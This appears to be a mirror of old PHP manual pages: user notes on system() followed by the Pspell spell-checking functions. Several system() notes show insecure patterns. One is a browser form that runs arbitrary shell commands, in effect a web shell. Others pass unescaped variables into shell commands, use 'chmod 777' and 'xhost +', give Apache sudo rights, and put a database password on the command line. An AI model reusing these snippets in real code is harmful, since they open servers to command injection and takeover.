The answer now seems obvious -- we were hitting PHP's memory limit. We did not consider that PHP's memory limit would also extend to programs launched via system().

So, if your system() call is failing mysteriously and giving no results, after trying the obvious (permissions, executable, etc.) considering upping:

memory_limit

in your php.ini from 8M to something larger.
Shai Coleman
09-Dec-2004 08:11
The easiest way to run a process in the background under Windows, is to use system() with the bgrun.exe utility, available from http://www.jukkis.net/bgrun/
roga at yoopee dot de
25-Sep-2004 12:58
In combination with Zend Optimizer and Windows 2K/XP some programs may not run with system(), exec(), etc.

I tried to use a small tool for ejecting the cd tray and it did just nothing. Disabling Zend Optimizer solved it.
srawlinNOSPAM at magma dot ca
05-Sep-2004 04:29
If you are running PHP in a chroot environment then the system (and passthru) function needs /bin/sh to be located in the chroot as well.
eric_REMOVE at movementmovement_REMOVE dot com
22-May-2004 03:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
beetung at yahoo dot com
09-Mar-2004 05:34
Under Linux
exec() doesnt follow symbolic link when interpret by httpd...

I have my /home/www/cgi-bin --> soft linked to a samba mounted directory under /mnt/Downloads/www.site.com/cgi-bin

exec("/home/www/cgi-bin/runProg $a $b");

works ok when I execute the script using > php myscript.php but fails to show the output when run via the web browser.

When I give it the exact full path without the symbolic link

exec("/mnt/Downloads/www.site.com/cgi-bin/runProg $a $b");

everything works perfectly.
mortoray at ecircle-ag dot com
04-Mar-2004 07:55
Do not use "system" if you use the "php.ini" option:
   zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
tr4nc3 at msn dot com
22-Feb-2004 06:42
I almost gave up trying to get Windows XP w/ Apache 2 to use either system(), or exec() to run a batch file.

If the batch file was this...

echo test > test.txt

it would work fine, creating test.txt...

but if the batch file was..

iexplore.exe "http://www.ibm.com"

I would get nothing. After hours and hours of messing around with this I figured it must be some type of permission problem. (dugh!)

Long story a little shorter.. You have to give Apache permission to "interact with the desktop".

Here's how...

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache

Works great!
:D

HOPE THIS HELPS SOMEONE!
Too bad I didn't find a post like this before I figured it out myself. (I could have been working on something.)
djem at shadrinsk dot net
17-Feb-2004 09:04
BUGFIX for the mysystem() function, posted by n-jones.

<?php
function syscall($command){
   if ($proc = popen("($command)2>&1","r")){
       while (!feof($proc)) $result .= fgets($proc, 1000);
       pclose($proc);
       return $result;
       }
   }
?>

Hello from Russia! :)
djem.
diogaogv at icqmail dot com
29-Nov-2003 08:57
a really useful use for import(); while running the server at ur own machine is taking a screenshot of you desktop and showing it to the guest !!!

<?
echo system("/usr/X11R6/bin/import -window root -display localhost:0 /mnt/d/Desenvolvimento/Desenvolvimento\ WWW/import/cache/imagem.jpg -quality 30" ." 2>&1");
?>
<img src="cache/imagem.jpg">

remember to set chmod 777 to your directory (called "cache" on my code). also do "xhost +" or you r gonna get a xlib error saying that it could not connect to x server at localhost...

the code is still too simple. i've just done it. e.g. you can improve a real cache system avoying more than one screenshot in a minute while...

that is it! hope u enjoy it ( rofl... =DDD ) ...

diogo86
tomlubbock at hotmail dot com
03-Nov-2003 10:07
If you need to run root-level commands, such as to reboot a service, the utility 'sudo' will let you handle linux permissions. In our example we use 'sudo' to allow apache temporary root access to restart a service. We can then use:

system("sudo service dhcpd restart")

You also need to examine the /etc/sudoers file to specify what permissions to grant. Hope this helps someone!
morris_hirsch at hotmail dot com
17-Sep-2003 05:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org
10-Sep-2003 08:24
Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton
27-Aug-2003 04:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
chris at karakas-online dot de
02-Jul-2003 09:52
If your PHP installation permits execution of commands through system() (e.g. you are not running in safe mode, or, if you are, safe_mode_exec_dir contains all the commands you need), you can trigger a backup of your MySQL database, just by pointing your browser to the following script:

<?php
  // Enter your MySQL access data
  $host= 'dbhost';
  $user= 'dbuser';
  $pass= 'dbpassword';
  $db=  'db';

  $backupdir = 'backups';

  // Compute day, month, year, hour and min.
  $today = getdate();
  $day = $today[mday];
  if ($day < 10) {
     $day = "0$day";
  }
  $month = $today[mon];
  if ($month < 10) {
     $month = "0$month";
  }
  $year = $today[year];
  $hour = $today[hours];
  $min = $today[minutes];
  $sec = "00";

  // Execute mysqldump command.
  // It will produce a file named $db-$year$month$day-$hour$min.gz
  // under $DOCUMENT_ROOT/$backupdir
  system(sprintf(
   'mysqldump --opt -h %s -u %s -p%s %s | gzip > %s/%s/%s-%s%s%s-%s%s.gz',
   $host,
   $user,
   $pass,
   $db,
   getenv('DOCUMENT_ROOT'),
   $backupdir,
   $db,
   $year,
   $month,
   $day,
   $hour,
   $min
  ));
  echo '+DONE';
?>

If you are not allowed cron access on the web server, you can set up your own cron job to periodically call the above script. If you don't have cron, or a similar functionality on your system, you can still modify the above script to inform the browser to reget the file every xxx hours. A poor man's cron, so to say ;-)

Of course, the $backupdir should at least be protected with a .htaccess file.

And of course, you are not going to backup a really large database this way, if your PHP has some timeout set (as is usually the case with web hosters).
d dot kraft at szo dot de
10-Mar-2003 06:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de
05-Mar-2003 10:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
Bill at KilgallonFamily dot com
16-Feb-2003 09:03
By the way, in my above example using the `/bin/ls foo; echo $?`, the results status will have a \n appended.  Do a rtrim($resultStatus) to get rid of it (obviously).
Bill at KilgallonFamily dot com
16-Feb-2003 08:57
I am new to PHP, but an old Unix hacker (from back in the days when that meant a good thing), so sorry if this is old news...

Anyway, I just wanted to call a shell command, and get it's numeric status.  Just the way God intended system calls to work :)  If I did not care about status, I would have used the backticks (`/usr/bin/foo`).

Anyway, it does not work (php 4.2.2).  I add an argument to system that is supposed to trap the numeric return status, and it always seems to get 198 on this system with my command, regardless of the real return value of the command.

So I used an old school Unix hacker trick, coupled with what I think is a part of PHP that does not seem to work the way I think it ought to, and putting these together gets what I want.

Here is the code that should work:

$resultStatus = system('/bin/ls /foo', $resultStatus);
print "$resultStatus";

But I don't think it does.  I don't think the $resultStatus gets the right value.

So as a workaound, use the following code:

$resultStatus = `/bin/ls /foo; echo $?`;
print "$resultStatus";

$resultStatus then contains the return code of the system command, and it is a little easier then the system / exec calls, as you get a $PATH env variable and your scripts will be less dependent on file locations on your particular system.

Bill
user at unknown dot com
16-Jan-2003 06:07
a simple way to include a beep on the server-side whenever a page in viewed.
**contents of 'beeping' page**
require ("beep.php")

**contents of beep.php**
<?php
system ("/home/site/exe/beep.executable");
// on windows system ("c:\beep.exe");
?>
n-jones at fredesign dot net
05-Aug-2002 06:08
To have system output from both the STDERR and STDOUT, I've modified the function posted above by lowery@craiglowery.com

function mysystem($command) {
  if (!($p=popen("($command)2>&1","r"))) {
   return 126;
  }

  while (!feof($p)) {
   $line=fgets($p,1000);
   $out .= $line;
  }
  pclose($p);
  return $out;
}

Now you can use mysystem() like;

$var = "cat ".$file;
echo mysystem($var);

$catfile = mysystem($var);

if (ereg("text", $catfile)) {
  //stuff here;
}

N.Jones
a dot paul at bernardlabs dot com
21-Jul-2002 07:42
Well system is a pretty interesting and useful function.

This might have been already pointed out by predessors but anyways, for anyone looking to execute command line queries from php or scripts in general, this function does the trick.

However while using the command, you have to always think in terms of the command you are using as the function and the parameters as the arguments.

So say I want to do a 'ls -ls' on /home/sites/sitexyz/www/$username

I could do a

system("ls -la \"/home/sites/sitexyz/www/$username\" ");

Its important to think of this as passing      /home/sites/sitexyz/www/$username    as an argument to the function ls -la .

Similarly, you could do a

system("cp -r \"/home/sites/sitexyz/www/$username\"  \"/home/sites/sitexyz/www/$username2\" ");

But you then need to use 'chmod -R 777 to the directory you want to copy it to, which can be done by a

system("chmod -R 777  \"/home/sites/sitexyz/www/$username2\" ");

Now you can execute all the terminal commans via the php, however do realise the security concerns of using the same, especially when the operation is going to preceeded by some user input, so, you need to make sure you filter the inputs, or better not allow user intervention.
18-Jun-2002 11:29
The system() function does not consistently write to the int return_var.  I highly recommend using the code from the post above it worked well for me.

---------------------------------------------
$a = `/bin/ls -a`;
note: the ` is a backtick, not a single quote
---------------------------------------------

This also works well in Perl so it is rather useful to know.
ed at lexingrad dot net
12-Jun-2002 09:11
best use I have found for this function so far:

<?php
$fortune = `/usr/games/fortune -aeo`;

$var = eregi_replace("\n", "<br>", $fortune);

echo $var;
?>
that's with all the fortune's installed, including the dirty ones. the reg expression replace formats them correctly
roger at proproject dot com
13-May-2002 01:35
For your in-house pages, I recommend redirecting stderr to stdout so you'll know if something goes wrong.  Here's a real-life example:

system("/mysql_reboot 2>&1");
james at jsrobertson dot net
27-Mar-2002 03:48
I've found a very useful technique for the system function. Say if you want to create a page of quotes and you have /usr/games/fortune available. Instead of spending time creating a database and populating it with thousands of quotes, you can just use:

<?php
system('/usr/games/fortune');
?>

likewise if you want to list the files in your directory, say for example, Mp3's?

<?php
system('ls /home/mp3 -l');
?>

basically

<?php
system('any_command');
?>
z1a7n8g at / at a<o<l dot c<o<m
21-Mar-2002 12:22
I am currently using a form driven administration
page to start an ftp server remotely from a web page in FreeBSD 4.5 using PHP 4.1.2 & apache 1.3.23. (Sorry guys, no CVS!!)
This code will emulate a CLI command from your browser (anywhere!!) and execute it if your PHP module/binary has the correct permissions...
<code><pre>
//your front end
<form ..your form stuff here...>
<input type="text" name=command>
<your additional form stuff>
///the gutz
<?
 $arg=explode( " ", $command, 4 )
     if ($arg[0] = "system")
       {
 system($arg[1] . " " . $arg[2] . " " . $arg[3]..etc);
           }?>
</code></pre>
This works, however it is simple and lacks any error output.
try:
<pre><code>
 <?system(command > /path/to/yourfile.php);
     $fPtr=@fopen("yourfile.php",r);
     $line=fgets($fPtr,filesize("yourfile.php");
       while ($line)
  {
       $formatted_line=ereg_replace("your favorite newline semantic","<BR>",$line);
       print $formatted_line;
                                     }

 ?>
</pre></code>
Keep in mind the SECURITY implications with the use of this and like scripts. You've been warned.
tk at taponet dot de
20-Feb-2002 11:17
Beware:
if (! system($cmd)) {
  print "error";
}

does not work!
Use
if (system($cmd) === false) {
...}

instead!
nospam at 1111-internet dot com
07-Feb-2002 02:47
Here's a neat trick that exploits an inherent php anomaly... if you want to run a shell command but not have it take up two processes for the entire life of the command (a child for the shell and a grandchild for the command), add a "&" at the end of the command to kill the shell and leave the grandchild command running... Though it's a bit counterintuitive, php will continue to listen for the orphanized grandchild command's STDOUT as long as it continues to run, provided STDOUT hasn't been been redirected with a ">/some/file"...

Very helpful if you're in a low-process-quota situation - I might even go so far as to say that this benefit might warrant ALWAYS using a "&" in php Unix system command situations - though the jury's still out on that one...
ryan at seattleone dot com
30-Aug-2001 08:36
I was trying to use the system command, and I couldnt get it to work, then it occured to me, send the stderr to a file to see what is really happening.

system( $command . " &> /tmp/error " );
nospam at php dot net
24-Jul-2000 08:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
digitalturbulence at softhome dot net
09-Jul-2000 03:04
If the command printf("%s",system($cmd)); doesn't work, check the httpd.error_log file in your /var/log directory. At my home, the system command can just load binary files in the directory /usr/lib/apache/bin
Stephan.
ccurtis at aet-usa dot com
15-Jun-1999 02:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.
add a note add a note

后退 | 起点 | 前进
shell_exec | 上一级 | Pspell Functions


Pspell Functions

PHP 手册
后退 前进

CXVIII. Pspell Functions

简介

These functions allow you to check the spelling of a word and offer suggestions.

需求

To compile PHP with pspell support, you need the aspell library, available from http://aspell.sourceforge.net/.

安装

If you have the libraries needed add the --with-pspell[=dir] option when compiling PHP.

Note to Win32 Users: win32 support is available only in PHP 4.3.3 and later versions. Also, you must have aspell 0.50 or newer installed. In order to enable this module under Windows, you must copy aspell-15.dll from the bin folder of your aspell installation to a folder where PHP will be able to find it. C:\PHP or the SYSTEM32 folder of your windows machine (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32) are good choices.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

PSPELL_FAST (integer)

PSPELL_NORMAL (integer)

PSPELL_BAD_SPELLERS (integer)

PSPELL_RUN_TOGETHER (integer)

目录
pspell_add_to_personal -- Add the word to a personal wordlist
pspell_add_to_session -- Add the word to the wordlist in the current session
pspell_check -- Check a word
pspell_clear_session -- Clear the current session
pspell_config_create -- Create a config used to open a dictionary
pspell_config_data_dir -- location of language data files
pspell_config_dict_dir -- Location of the main word list
pspell_config_ignore -- Ignore words less than N characters long
pspell_config_mode -- Change the mode number of suggestions returned
pspell_config_personal -- Set a file that contains personal wordlist
pspell_config_repl -- Set a file that contains replacement pairs
pspell_config_runtogether -- Consider run-together words as valid compounds
pspell_config_save_repl -- Determine whether to save a replacement pairs list along with the wordlist
pspell_new_config -- Load a new dictionary with settings based on a given config
pspell_new_personal -- Load a new dictionary with personal wordlist
pspell_new -- Load a new dictionary
pspell_save_wordlist -- Save the personal wordlist to a file
pspell_store_replacement -- Store a replacement pair for a word
pspell_suggest -- Suggest spellings of a word

add a note add a note User Contributed Notes
andrew at bluerhinos dot co dot uk
03-May-2006 06:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler
30-Mar-2006 04:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
beau_scott at hotmail dot com
31-Dec-2005 05:13
hehe, forgot to remove the echo $string line... whoops ;)

Should be:

<?
   /**
     * Checks spelling of $string. Whole phrases can be sent in, too, and each word will be checked.
     * Returns an associative array of mispellings and their suggested spellings
     * @param string $string Phrase to be checked
     * @return array
     */
   function checkSpelling ( $string )
   {
       // Make word list based word boundries
       $wordlist = preg_split('/\s/',$string);

       // Filter words
       $words = array();
       for($i = 0; $i < count($wordlist); $i++)
       {
           $word = trim($wordlist[$i]);
           if(!preg_match('/[A-Za-z]/', $word))
               continue;
           $word = preg_replace('/[^\w\']*(.+)/', '\1', $word);
           $word = preg_replace('/([^\W]*)[^\w\']*$/', '\1', $word);
           $word = trim($word);
           if(!in_array($word, $words, true))
               $words[] = $word;

       }
       $misspelled = $return = array();
       $int = pspell_new('en');

       foreach ($words as $value)
           if (!pspell_check($int, $value))
               $misspelled[] = $value;

       foreach ($misspelled as $value)
           $return[$value] = pspell_suggest($int, $value);

       return $return;
   }
?>
Gregory Boshoff
14-May-2005 07:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
abhishek dot ratani at gmail dot com
23-Feb-2005 06:46
http://www.zend.com/zend/spotlight/spellchecking.php#Heading2

Great tutorial on spell checking. Check it out!
flint at modulusgroup dot com
30-Dec-2004 06:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
11-Dec-2004 05:52
For those of us in the Windows world, here is a great link on how to enable pspell for PHP on Win32:
http://www.oblius.com/?.blogs.184
tidd
29-Sep-2004 01:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net
12-Apr-2004 10:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
   $words = preg_split('/[\W]+?/',$string);
   $misspelled = $return = array();
   $int = pspell_new('en');
   foreach ($words as $value) {
       if (!pspell_check($int, $value)) {
           $misspelled[] = $value;
       }
   }
   foreach ($misspelled as $value) {
       $return[$value] = pspell_suggest($int, $value);
   }
   return $return;
}

?>
jrweir _a_t_ yahoo
30-Mar-2004 03:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org
12-Jan-2003 06:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com
11-Oct-2002 03:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.
add a note add a note

后退 | 起点 | 前进
system | 上一级 | pspell_add_to_personal


pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_personal -- Add the word to a personal wordlist

Description

bool pspell_add_to_personal ( int dictionary_link, string word )

pspell_add_to_personal() adds a word to the personal wordlist. If you used pspell_new_config() with pspell_config_personal() to open the dictionary, you can save the wordlist later with pspell_save_wordlist(). Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

例子 1. pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Pspell Functions | 上一级 | pspell_add_to_session


pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_session -- Add the word to the wordlist in the current session

Description

bool pspell_add_to_session ( int dictionary_link, string word )

pspell_add_to_session() adds a word to the wordlist associated with the current session. It is very similar to pspell_add_to_personal()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_add_to_personal | 上一级 | pspell_check


pspell_check

(PHP 4 >= 4.0.2, PHP 5)

pspell_check -- Check a word

Description

bool pspell_check ( int dictionary_link, string word )

pspell_check() checks the spelling of a word and returns TRUE if the spelling is correct, FALSE if not.

例子 1. pspell_check()

<?php
$pspell_link = pspell_new("en");

if (pspell_check($pspell_link, "testt")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}
?>

add a note add a note User Contributed Notes
Jcart
06-Oct-2005 09:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
     echo "spelled right";
   } else {
     echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk
12-May-2005 08:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
   $t = "<font color=blue>text herre &amp; some more</font>";
   echo "Before:$t";
   $t = SpellCheck($t);
   echo "<hr>After SpellCheck: $t";
   $t = ClearSpell($t);
   echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

   $pspell_link = pspell_new("en"); //0. Get the dictionary
   $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
   $nStrings = count($strings);

   for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
   {
       $string = $strings[$cStrings]; //2. For each string from 1

       if ($string =='')
           continue;

       $temp  = explode('<', $string); //2.1  Split $string from $strings on '>' to give us a $tag and $cdata
       $tag = $temp[1];
       $cdata = $temp[0];

       $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
       $nSubCdatas = count($subCdatas);    //2.3  For each $subCdata from $subcdatas in 2.2

       for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
       {
           $subCdata = $subCdatas[$cSubCdatas];

           if ($subCdata == '')
               continue;

           $temp = explode('&', $subCdata); //2.3.1    Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
           $subCdataEntity = $temp[1];
           $subCdataWithNoEntities = $temp[0];
           $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2    Spellcheck the $cdataWithNoEntities

           if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
               $subCdata = $subCdataWithNoEntities;
           else
               $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

           $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
       }

       $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

       if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
           $string = $cdata . '<' . $tag . '>';
       else
           $string = $cdata;

       $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
   }

   $text = implode('', $strings);    //3  Implode the $strings back into $text
   return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
       $currentword = $words[0][$i];

       if (!pspell_check($pspell_link, $currentword))
       {
           $wordarray = pspell_suggest($pspell_link, $currentword);
               $words = implode(', ', $wordarray);
               $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
           $string = str_replace($currentword, $suggest, $string);
       }

   }
   return $string;
}

function ClearSpell($text)
{
   $strings = explode(">", $text);
   $nStrings = count($strings);

   for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
   {
       $string = $strings[$cStrings];

       if ($string =='')
           continue;

       $temp  = explode('<', $string);
       $tag = $temp[1];
       $cdata = $temp[0];

       if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
           $string = $cdata;
       else
           $string = $cdata . '<' . $tag . '>';

       $strings[$cStrings] = $string;
   }

   $text = implode('', $strings);
   return $text;
}
?>
si at youbeenx dot com
22-Mar-2005 09:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

   $pspell_link = pspell_new("en");
   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++) {

       if (!pspell_check($pspell_link, $words[0][$i])) {

           $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

       }

   }

   return $string;

}

?>
add a note add a note

后退 | 起点 | 前进
pspell_add_to_session | 上一级 | pspell_clear_session


pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_clear_session -- Clear the current session

Description

bool pspell_clear_session ( int dictionary_link )

pspell_clear_session() clears the current session. The current wordlist becomes blank, and, for example, if you try to save it with pspell_save_wordlist(), nothing happens.

例子 1. pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_clear_session($pspell_link);
pspell_save_wordlist($pspell_link);    //"Vlad" will not be saved
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_check | 上一级 | pspell_config_create


pspell_config_create

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_create -- Create a config used to open a dictionary

Description

int pspell_config_create ( string language [, string spelling [, string jargon [, string encoding]]] )

pspell_config_create() has a very similar syntax to pspell_new(). In fact, using pspell_config_create() immediately followed by pspell_new_config() will produce the exact same result. However, after creating a new config, you can also use pspell_config_*() functions before calling pspell_new_config() to take advantage of some advanced functionality.

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)

  • PSPELL_NORMAL - Normal mode (more suggestions)

  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

For more information and examples, check out inline manual pspell website:http://aspell.net/.

例子 1. pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_personal($pspell_config, "en");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_clear_session | 上一级 | pspell_config_data_dir


pspell_config_data_dir

(PHP 5)

pspell_config_data_dir -- location of language data files

Description

bool pspell_config_data_dir ( int conf, string directory )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_create | 上一级 | pspell_config_dict_dir


pspell_config_dict_dir

(PHP 5)

pspell_config_dict_dir -- Location of the main word list

Description

bool pspell_config_dict_dir ( int conf, string directory )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_data_dir | 上一级 | pspell_config_ignore


pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_ignore -- Ignore words less than N characters long

Description

bool pspell_config_ignore ( int dictionary_link, int n )

pspell_config_ignore() should be used on a config before calling pspell_new_config(). This function allows short words to be skipped by the spell checker. Words less than n characters will be skipped.

